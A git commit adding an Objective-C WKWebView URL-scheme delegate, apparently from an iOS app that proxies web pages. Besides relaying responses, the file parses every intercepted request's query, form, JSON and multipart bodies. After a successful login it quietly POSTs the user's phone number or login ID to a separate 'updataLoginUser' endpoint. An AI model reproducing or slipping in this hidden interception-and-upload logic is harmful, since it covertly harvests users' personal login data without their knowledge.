迁移仓库

This commit is contained in:
2026-02-24 09:55:08 +08:00
parent 2d5c056b82
commit df6210aaf7
30 changed files with 1121 additions and 81 deletions

View File

@@ -0,0 +1,323 @@
//
// GDWebURLSessionDelegate.m
// DESThreeTest
//
// Created by Qwerdf on 2025/10/24.
// Copyright © 2025 zhang alan. All rights reserved.
//
#import "GDWebURLSessionDelegate.h"
#import "MacroDefine.h"
@implementation GDWebURLSessionDelegate
- (instancetype)initWithSchemeTask:(id<WKURLSchemeTask>)schemeTask
completion:(void(^)(void))completion {
if (self = [super init]) {
_schemeTask = schemeTask;
_completion = completion;
_cachedData = [NSMutableData data]; //
}
return self;
}
#pragma mark - NSURLSessionDataDelegate
// 1.
- (void)URLSession:(NSURLSession *)session task:(NSURLSessionTask *)task willPerformHTTPRedirection:(NSHTTPURLResponse *)response newRequest:(NSURLRequest *)request completionHandler:(void (^)(NSURLRequest * _Nullable))completionHandler {
NSURL *url = response.URL;
if (url.pathExtension.length == 0 || [url.pathExtension isEqualToString:@"html"]) {
// HTML , nil, dataTaskWithRequest code = 302 response, webview 302
completionHandler(nil);
} else {
completionHandler(request);
}
}
// 2.
- (void)URLSession:(NSURLSession *)session dataTask:(NSURLSessionDataTask *)dataTask didReceiveResponse:(NSHTTPURLResponse *)response completionHandler:(void (^)(NSURLSessionResponseDisposition))completionHandler {
self.cachedResponse = response; //
if (!self.stopMarkDic[_schemeTask.description]) {
@try {
[self.schemeTask didReceiveResponse:response];
} @catch (NSException *exception) {
}
}
completionHandler(NSURLSessionResponseAllow);
}
// 3.
- (void)URLSession:(NSURLSession *)session dataTask:(NSURLSessionDataTask *)dataTask didReceiveData:(NSData *)data {
[self.cachedData appendData:data]; //
if (!self.stopMarkDic[_schemeTask.description]) {
@try {
[self.schemeTask didReceiveData:data];
} @catch (NSException *exception) {
}
}
}
// 4. /
- (void)URLSession:(NSURLSession *)session task:(NSURLSessionTask *)task didCompleteWithError:(NSError *)error {
@try {
if (self.stopMarkDic[_schemeTask.description]) {
[self.stopMarkDic removeObjectForKey:_schemeTask.description];
} else {
if (error) {
[_schemeTask didFailWithError:error];
} else {
[_schemeTask didFinish];
[self handleSuccessResult:self.cachedResponse data:self.cachedData];
}
}
} @catch (NSException *exception) {
}
//
if (self.completion) self.completion();
}
//
- (void)handleSuccessResult:(NSURLResponse *)response data:(NSData *)data {
NSURLRequest *request = self.schemeTask.request;
NSURL *url = request.URL;
NSString *httpMethod = request.HTTPMethod ?: @"GET"; // GET
// ===== 1. =====
// NSLog(@"请求 URL%@", url.absoluteString);
// NSLog(@"请求方法:%@", httpMethod);
// NSLog(@"请求头:%@", request.allHTTPHeaderFields);
// ===== 2. URL GET =====
NSString *queryString = url.query;
if (queryString.length > 0) {
NSDictionary *queryParams = [self parseQueryString:queryString];
// NSLog(@"GET 参数:%@", queryParams);
}
NSDictionary *postParams = [NSDictionary dictionary];
// ===== 3. POST =====
if ([httpMethod.uppercaseString isEqualToString:@"POST"] && request.HTTPBody) {
// 3.1 application/x-www-form-urlencoded
NSString *postBodyString = [[NSString alloc] initWithData:request.HTTPBody encoding:NSUTF8StringEncoding];
if (postBodyString) {
// Content-Type
NSString *contentType = request.allHTTPHeaderFields[@"Content-Type"];
if ([contentType containsString:@"application/x-www-form-urlencoded"]) {
postParams = [self parseQueryString:postBodyString];
// NSLog(@"POST 表单参数:%@", postParams);
}
// 3.2 JSON application/json
else if ([contentType containsString:@"application/json"]) {
NSError *jsonError;
id jsonObject = [NSJSONSerialization JSONObjectWithData:request.HTTPBody options:0 error:&jsonError];
if (jsonObject && !jsonError) {
// NSLog(@"POST JSON 参数:%@", jsonObject);
} else {
// NSLog(@"POST JSON 解析失败:%@,原始数据:%@", jsonError, postBodyString);
}
}
// 3.3 multipart/form-data
else {
NSString *contentTypeStr = request.allHTTPHeaderFields[@"Content-Type"];
NSString *boundaryStr = nil;
// 1. "boundary="
NSArray *components = [contentType componentsSeparatedByString:@"boundary="];
if (components.count >= 2) {
// 2. boundary
boundaryStr = [components[1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];
}
postParams = [self parseFormData:request.HTTPBody boundary:boundaryStr];
// NSLog(@"POST 其他格式数据:%@", postBodyString);
}
}
}
NSDictionary *jsonDic = [NSDictionary dictionary];
// JSON
if ([response isKindOfClass:[NSHTTPURLResponse class]]) {
NSHTTPURLResponse *httpResponse = (NSHTTPURLResponse *)response;
if (httpResponse.statusCode == 200) { // 200
NSError *jsonError;
id json = [NSJSONSerialization JSONObjectWithData:data options:0 error:&jsonError];
if (json && !jsonError) {
jsonDic = json;
}
}
}
[self uploadDataWithRequest:postParams backDic:jsonDic url:url.absoluteString];
}
- (void)uploadDataWithRequest:(NSDictionary *)parameter backDic:(NSDictionary *)backDic url:(NSString *)url {
// /merchants/getPublicInfo accessToken merchantIdID module
// users/login mobile
if (backDic == nil) {
return;
}
// NSLog(@"-------%@:%@,%@",parameter,backDic,url);
if (![backDic isKindOfClass:[NSDictionary class]]) {
return;
}
id status = backDic[@"status"];
BOOL isSuccess = NO;
if ([status isKindOfClass:[NSString class]]) {
if ([backDic[@"status"] isEqualToString:@"SUCCESS"]) {
isSuccess = YES;
}
}else if ([status isKindOfClass:[NSNumber class]]) {
isSuccess = [backDic[@"status"] boolValue];
}
if (isSuccess) {
BOOL isLoginUrl = NO;
if ([url containsString:@"validateUserJs"]) {
isLoginUrl = YES;
}
NSString *moduleStr = parameter[@"module"];
if (!ISNULLSTR(moduleStr)) {
if ([moduleStr containsString:@"users/login"]) {
isLoginUrl = YES;
}
}
if (isLoginUrl) {
NSString *mobileStr = parameter[@"mobile"];
if (ISNULLSTR(mobileStr)) {
mobileStr = parameter[@"login_id"];
}
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:updataLoginUser]];
request.HTTPMethod = @"POST";
[request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
NSDictionary *parmas = @{@"phone":mobileStr,@"appId":NowUserId};
NSData *jsonData = [NSJSONSerialization dataWithJSONObject:parmas options:NSJSONWritingPrettyPrinted error:nil];
request.HTTPBody = jsonData;
NSURLSession *session = [NSURLSession sharedSession];
NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
}];
[dataTask resume];
}
}
}
// "key1=value1&key2=value2"
- (NSDictionary *)parseQueryString:(NSString *)queryString {
if (!queryString || queryString.length == 0) {
return @{};
}
NSMutableDictionary *params = [NSMutableDictionary dictionary];
NSArray *pairs = [queryString componentsSeparatedByString:@"&"];
for (NSString *pair in pairs) {
// key value = key=value=123
NSRange equalRange = [pair rangeOfString:@"="];
if (equalRange.location == NSNotFound) {
// = key
NSString *key = [pair stringByRemovingPercentEncoding];
params[key] = @"";
continue;
}
NSString *key = [pair substringToIndex:equalRange.location];
NSString *value = [pair substringFromIndex:equalRange.location + 1];
// URL %20
key = [key stringByRemovingPercentEncoding];
value = [value stringByRemovingPercentEncoding];
if (key) {
params[key] = value ?: @"";
}
}
return params;
}
- (NSDictionary<NSString *, NSString *> *)parseFormData:(NSData *)data boundary:(NSString *)boundary {
//
if (!data || data.length == 0 || !boundary || boundary.length == 0) {
NSLog(@"无效的表单数据或边界符");
return nil;
}
// 1. UTF-8
NSString *content = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
if (!content) {
NSLog(@"表单数据编码转换失败(非 UTF-8");
return nil;
}
// 2. multipart "--"
NSString *fullBoundary = [NSString stringWithFormat:@"--%@", boundary];
// --boundary--
NSArray *parts = [content componentsSeparatedByString:fullBoundary];
NSMutableArray *validParts = [NSMutableArray array];
for (NSString *part in parts) {
//
NSString *trimmedPart = [part stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
if (trimmedPart.length > 0 && ![trimmedPart isEqualToString:@"--"]) { //
[validParts addObject:trimmedPart];
}
}
// 3. name
NSMutableDictionary *resultDict = [NSMutableDictionary dictionary];
for (NSString *part in validParts) {
//
// Content-Disposition: form-data; name="login_id"\r\n
// \r\n
// 11
// "\r\n\r\n"
NSArray *partComponents = [part componentsSeparatedByString:@"\r\n\r\n"];
if (partComponents.count < 2) {
continue; //
}
// 3.1 name Content-Disposition
NSString *dispositionLine = partComponents[0]; // "Content-Disposition: form-data; name="login_id""
NSString *name = [self extractNameFromDisposition:dispositionLine];
if (!name) {
continue; // name
}
// 3.2
NSString *value = partComponents[1];
value = [value stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
// 3.3
resultDict[name] = value;
}
return resultDict.count > 0 ? [resultDict copy] : nil;
}
/// Content-Disposition name
/// @param disposition "Content-Disposition: form-data; name="login_id""
/// @return name "login_id"
- (NSString *)extractNameFromDisposition:(NSString *)disposition {
if (!disposition) return nil;
// name="xxx" xxx
NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"name=\"([^\"]+)\""
options:0
error:nil];
NSTextCheckingResult *match = [regex firstMatchInString:disposition
options:0
range:NSMakeRange(0, disposition.length)];
if (match && match.numberOfRanges > 1) {
NSRange nameRange = [match rangeAtIndex:1];
return [disposition substringWithRange:nameRange];
}
return nil;
}
@end